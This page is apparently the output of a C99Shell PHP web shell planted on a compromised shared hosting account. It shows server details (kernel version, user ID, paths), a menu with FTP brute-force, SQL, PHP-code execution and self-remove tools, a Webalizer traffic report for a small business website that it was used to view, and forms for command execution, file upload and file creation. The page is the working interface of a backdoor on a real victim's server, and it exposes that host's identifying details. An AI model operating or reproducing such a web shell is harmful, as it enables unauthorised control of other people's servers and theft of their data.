!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/tmp/webalizer/krupimhomecenter.com.17507765-18-20171030205522.webstarterz.com/   drwx------
Free 237.18 GB of 981.82 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     usage_202502.html (90.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Usage Statistics for krupimhomecenter.com.17507765-18-20171030205522.webstarterz.com - February 2025

Usage Statistics for krupimhomecenter.com.17507765-18-20171030205522.webstarterz.com

Summary Period: February 2025
Generated 01-Mar-2025 22:21 +07

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for February 2025
Total Hits 490
Total Files 361
Total Pages 40
Total Visits 20
Total KBytes 27
Total Unique Sites 21
Total Unique URLs 338
Total Unique Referrers 4
Total Unique User Agents 9
. Avg Max
Hits per Hour 0 100
Hits per Day 17 118
Files per Day 12 22
Pages per Day 1 16
Sites per Day 0 4
Visits per Day 0 3
KBytes per Day 1 3
Hits by Response Code
Code 200 - OK 73.67% 361
Code 404 - Not Found 26.33% 129

Daily usage for February 2025

Daily Statistics for February 2025
Day Hits Files Pages Visits Sites KBytes
1 16 3.27% 16 4.43% 0 0.00% 0 0.00% 1 4.76% 1 3.67%
2 16 3.27% 16 4.43% 0 0.00% 0 0.00% 1 4.76% 1 3.67%
3 37 7.55% 20 5.54% 10 25.00% 3 15.00% 3 14.29% 2 7.45%
4 12 2.45% 12 3.32% 0 0.00% 0 0.00% 1 4.76% 1 2.75%
5 2 0.41% 2 0.55% 0 0.00% 0 0.00% 1 4.76% 0 0.46%
6 2 0.41% 2 0.55% 0 0.00% 0 0.00% 1 4.76% 0 0.46%
7 16 3.27% 14 3.88% 2 5.00% 2 10.00% 3 14.29% 1 4.64%
8 9 1.84% 8 2.22% 0 0.00% 0 0.00% 2 9.52% 0 1.83%
9 7 1.43% 6 1.66% 2 5.00% 2 10.00% 3 14.29% 1 2.81%
10 14 2.86% 13 3.60% 1 2.50% 1 5.00% 3 14.29% 1 3.70%
11 16 3.27% 15 4.16% 1 2.50% 1 5.00% 2 9.52% 1 4.16%
12 14 2.86% 14 3.88% 0 0.00% 0 0.00% 1 4.76% 1 3.21%
13 118 24.08% 22 6.09% 16 40.00% 3 15.00% 4 19.05% 3 9.35%
14 8 1.63% 7 1.94% 1 2.50% 1 5.00% 2 9.52% 1 2.32%
15 12 2.45% 12 3.32% 0 0.00% 0 0.00% 1 4.76% 1 2.75%
16 17 3.47% 17 4.71% 1 2.50% 1 5.00% 2 9.52% 1 4.62%
17 16 3.27% 16 4.43% 0 0.00% 0 0.00% 1 4.76% 1 3.67%
18 16 3.27% 16 4.43% 0 0.00% 0 0.00% 1 4.76% 1 3.67%
19 16 3.27% 16 4.43% 0 0.00% 0 0.00% 1 4.76% 1 3.67%
20 12 2.45% 12 3.32% 0 0.00% 0 0.00% 1 4.76% 1 2.75%
21 2 0.41% 1 0.28% 1 2.50% 1 5.00% 1 4.76% 0 0.95%
22 15 3.06% 13 3.60% 1 2.50% 1 5.00% 2 9.52% 1 3.70%
23 16 3.27% 16 4.43% 0 0.00% 0 0.00% 1 4.76% 1 3.67%
24 19 3.88% 17 4.71% 1 2.50% 1 5.00% 2 9.52% 1 4.62%
25 18 3.67% 16 4.43% 2 5.00% 2 10.00% 3 14.29% 1 5.10%
26 14 2.86% 12 3.32% 1 2.50% 1 5.00% 2 9.52% 1 3.47%
27 14 2.86% 14 3.88% 0 0.00% 0 0.00% 1 4.76% 1 3.21%
28 16 3.27% 16 4.43% 0 0.00% 0 0.00% 1 4.76% 1 3.67%

Hourly usage for February 2025

Hourly Statistics for February 2025
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 0 1 0.20% 0 1 0.28% 0 1 2.50% 0 0 0.95%
1 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
2 1 36 7.35% 1 36 9.97% 0 0 0.00% 0 2 8.26%
3 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
4 0 3 0.61% 0 2 0.55% 0 2 5.00% 0 1 1.89%
5 1 38 7.76% 1 38 10.53% 0 0 0.00% 0 2 8.72%
6 0 12 2.45% 0 1 0.28% 0 5 12.50% 0 0 0.95%
7 3 100 20.41% 0 4 1.11% 0 14 35.00% 0 1 3.78%
8 1 54 11.02% 1 54 14.96% 0 0 0.00% 0 3 12.39%
9 0 8 1.63% 0 2 0.55% 0 4 10.00% 0 1 1.89%
10 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
11 1 48 9.80% 1 48 13.30% 0 0 0.00% 0 3 11.01%
12 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
13 0 4 0.82% 0 2 0.55% 0 2 5.00% 0 1 1.89%
14 1 45 9.18% 1 44 12.19% 0 1 2.50% 0 3 10.81%
15 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
16 0 9 1.84% 0 4 1.11% 0 4 10.00% 0 1 3.78%
17 1 49 10.00% 1 46 12.74% 0 2 5.00% 0 3 11.98%
18 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
19 0 1 0.20% 0 0 0.00% 0 0 0.00% 0 0 0.00%
20 1 46 9.39% 1 44 12.19% 0 4 10.00% 0 4 12.96%
21 0 2 0.41% 0 1 0.28% 0 1 2.50% 0 0 0.95%
22 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
23 1 34 6.94% 1 34 9.42% 0 0 0.00% 0 2 7.80%

Top 30 of 338 Total URLs
# Hits KBytes URL
1 24 4.90% 6 22.71% /
2 1 0.20% 0 0.23% /.well-known/acme-challenge/--P1CZ2UWYTLR1V6F7UGVMYAY8FD5YI-
3 1 0.20% 0 0.23% /.well-known/acme-challenge/-4UYVD-3WSOG7SP-Q7J0KWC3RPMJRH1N
4 1 0.20% 0 0.23% /.well-known/acme-challenge/-7DUZ2R90CYLRLANKU532M02CS_AAMHT
5 1 0.20% 0 0.23% /.well-known/acme-challenge/-F7I6ST8QA1FWIL7GWJNWIA_E4NHBWOR
6 1 0.20% 0 0.23% /.well-known/acme-challenge/-IVP6CAA2719532J5O5KUVSABL-70K17
7 1 0.20% 0 0.23% /.well-known/acme-challenge/-JDASDT1JU-YYSQTSRJVX8S6-NH-EOI6
8 1 0.20% 0 0.23% /.well-known/acme-challenge/-NMT39YWF10-_XF0QYMATNF7X_6E-D81
9 1 0.20% 0 0.23% /.well-known/acme-challenge/-PLE1ITI-JK9RRVEJR3PXMUGOWPR4CZ7
10 1 0.20% 0 0.23% /.well-known/acme-challenge/-QT2GZB6PEU3CLZZCPE2AG9GH_HIPFSH
11 1 0.20% 0 0.23% /.well-known/acme-challenge/05SNG4SYSKKI4YFIS4KZ48CADX2T1QG1
12 1 0.20% 0 0.23% /.well-known/acme-challenge/062S6RPZUL_M38MR2-4LFHY250IOHIAL
13 1 0.20% 0 0.23% /.well-known/acme-challenge/08LRIF3LBIYZ59RWL66LUGKK30IPI3K6
14 1 0.20% 0 0.23% /.well-known/acme-challenge/0A5A1E5FN89199F0R-CET8WI033SV0LG
15 1 0.20% 0 0.23% /.well-known/acme-challenge/0BE-49ZIWTF988W83DGE0MY6U408Y68H
16 1 0.20% 0 0.23% /.well-known/acme-challenge/0E_JR8F-7IQ3U_733IJTBQAA5NTQHOFS
17 1 0.20% 0 0.23% /.well-known/acme-challenge/0F_RY7KX-8UVPC-4KK5A30FX70K18W-2
18 1 0.20% 0 0.23% /.well-known/acme-challenge/0G3TLLSWQ9SB2G8_2_IYN0W-96E3Z49I
19 1 0.20% 0 0.23% /.well-known/acme-challenge/0G3X5K9_5B9XTY9WL4SSBVJ7EYBLCFEV
20 1 0.20% 0 0.23% /.well-known/acme-challenge/0G93IILKAC_HJW96BXV7L04J88NP79HI
21 1 0.20% 0 0.23% /.well-known/acme-challenge/0GCP108PYY8TGNB1J_F31VIV9U-SKCS-
22 1 0.20% 0 0.23% /.well-known/acme-challenge/0GG-C_5EKOL44326XO1XLNPJTG8N76FE
23 1 0.20% 0 0.23% /.well-known/acme-challenge/0JBZJ76BBHGNZZM22T_2YS9F1NP7FP-2
24 1 0.20% 0 0.23% /.well-known/acme-challenge/0M_HD0FVINX8-BF2ZPSQNW4NUQ__R14D
25 1 0.20% 0 0.23% /.well-known/acme-challenge/1-O293MG1YORTOSBIE0M176-FU7K95RE
26 1 0.20% 0 0.23% /.well-known/acme-challenge/1GW-YUAYY3IIKX7CYKI9Y04VH7J8-5Q3
27 1 0.20% 0 0.23% /.well-known/acme-challenge/1HAJTE41DBIY3Z81X5TNNEBJR82HEIKL
28 1 0.20% 0 0.23% /.well-known/acme-challenge/1LI0CKS_D__QVX2LSOAHKBYNAZT4I6Z5
29 1 0.20% 0 0.23% /.well-known/acme-challenge/1LTGASMJU894ARY-YAN_3J3XQ_OLDJUV
30 1 0.20% 0 0.23% /.well-known/acme-challenge/1UDFV-P83TF3MTO-J9G8KSAL961QXI6W

Top 10 of 338 Total URLs By KBytes
# Hits KBytes URL
1 24 4.90% 6 22.71% /
2 1 0.20% 0 0.23% /.well-known/acme-challenge/--P1CZ2UWYTLR1V6F7UGVMYAY8FD5YI-
3 1 0.20% 0 0.23% /.well-known/acme-challenge/-4UYVD-3WSOG7SP-Q7J0KWC3RPMJRH1N
4 1 0.20% 0 0.23% /.well-known/acme-challenge/-7DUZ2R90CYLRLANKU532M02CS_AAMHT
5 1 0.20% 0 0.23% /.well-known/acme-challenge/-F7I6ST8QA1FWIL7GWJNWIA_E4NHBWOR
6 1 0.20% 0 0.23% /.well-known/acme-challenge/-IVP6CAA2719532J5O5KUVSABL-70K17
7 1 0.20% 0 0.23% /.well-known/acme-challenge/-JDASDT1JU-YYSQTSRJVX8S6-NH-EOI6
8 1 0.20% 0 0.23% /.well-known/acme-challenge/-NMT39YWF10-_XF0QYMATNF7X_6E-D81
9 1 0.20% 0 0.23% /.well-known/acme-challenge/-PLE1ITI-JK9RRVEJR3PXMUGOWPR4CZ7
10 1 0.20% 0 0.23% /.well-known/acme-challenge/-QT2GZB6PEU3CLZZCPE2AG9GH_HIPFSH

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 24 4.90% 19 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 24 4.90% 17 100.00% /

Top 21 of 21 Total Sites
# Hits Files KBytes Visits Hostname
1 337 68.78% 337 93.35% 21 77.29% 0 0.00% cpanel06wh.bkk1.cloud.z.com
2 100 20.41% 4 1.11% 1 3.78% 1 5.00% 193.41.206.24
3 20 4.08% 3 0.83% 1 2.84% 2 10.00% vmi2399128.contaboserver.net
4 3 0.61% 1 0.28% 0 0.95% 1 5.00% 167.94.145.107
5 3 0.61% 1 0.28% 0 0.95% 1 5.00% scanner-05.ch1.censys-scanner.com
6 3 0.61% 1 0.28% 0 0.95% 1 5.00% scanner-206.hk2.censys-scanner.com
7 2 0.41% 1 0.28% 0 0.95% 1 5.00% 104.248.236.140
8 2 0.41% 1 0.28% 0 0.95% 1 5.00% 134.122.82.31
9 2 0.41% 1 0.28% 0 0.95% 1 5.00% 138.197.133.157
10 2 0.41% 1 0.28% 0 0.95% 1 5.00% 138.197.147.78
11 2 0.41% 1 0.28% 0 0.95% 1 5.00% 162.142.125.32
12 2 0.41% 1 0.28% 0 0.95% 1 5.00% 206.168.34.48
13 2 0.41% 1 0.28% 0 0.95% 1 5.00% 64.226.89.1
14 2 0.41% 0 0.00% 0 0.00% 0 0.00% 80.94.95.157
15 2 0.41% 1 0.28% 0 0.95% 1 5.00% crawl-vykctc.mj12bot.com
16 1 0.20% 1 0.28% 0 0.95% 1 5.00% 159.223.16.122
17 1 0.20% 1 0.28% 0 0.95% 1 5.00% brilliant.monitoring.internet-measurement.com
18 1 0.20% 1 0.28% 0 0.95% 1 5.00% bubbly.monitoring.internet-measurement.com
19 1 0.20% 1 0.28% 0 0.95% 1 5.00% ec2-18-208-156-167.compute-1.amazonaws.com
20 1 0.20% 1 0.28% 0 0.95% 1 5.00% ec2-35-171-144-152.compute-1.amazonaws.com
21 1 0.20% 1 0.28% 0 0.95% 1 5.00% ec2-54-88-179-33.compute-1.amazonaws.com

Top 10 of 21 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 337 68.78% 337 93.35% 21 77.29% 0 0.00% cpanel06wh.bkk1.cloud.z.com
2 100 20.41% 4 1.11% 1 3.78% 1 5.00% 193.41.206.24
3 20 4.08% 3 0.83% 1 2.84% 2 10.00% vmi2399128.contaboserver.net
4 2 0.41% 1 0.28% 0 0.95% 1 5.00% 104.248.236.140
5 2 0.41% 1 0.28% 0 0.95% 1 5.00% 134.122.82.31
6 2 0.41% 1 0.28% 0 0.95% 1 5.00% 138.197.133.157
7 2 0.41% 1 0.28% 0 0.95% 1 5.00% 138.197.147.78
8 1 0.20% 1 0.28% 0 0.95% 1 5.00% 159.223.16.122
9 2 0.41% 1 0.28% 0 0.95% 1 5.00% 162.142.125.32
10 3 0.61% 1 0.28% 0 0.95% 1 5.00% 167.94.145.107

Top 4 of 4 Total Referrers
# Hits Referrer
1 484 98.78% - (Direct Request)
2 3 0.61% http://www.krupimhomecenter.com.17507765-18-20171030205522.webstarterz.com/
3 2 0.41% http://krupimhomecenter.com.17507765-18-20171030205522.webstarterz.com/
4 1 0.20% https://www.google.com

Top 9 of 9 Total User Agents
# Hits User Agent
1 337 68.78% Cpanel-HTTP-Client/1.0
2 20 4.08% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
3 13 2.65% Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
4 10 2.04% Mozilla/5.0 (compatible)
5 3 0.61% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
6 2 0.41% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
7 2 0.41% Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)
8 2 0.41% Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
9 1 0.20% Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0

Usage by Country for February 2025

Top 3 of 3 Total Countries
# Hits Files KBytes Country
1 350 71.43% 345 95.57% 23 84.86% Commercial (com)
2 120 24.49% 13 3.60% 3 12.30% Unresolved/Unknown
3 20 4.08% 3 0.83% 1 2.84% Network (net)


Generated by Webalizer Version 2.23

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.083 ]--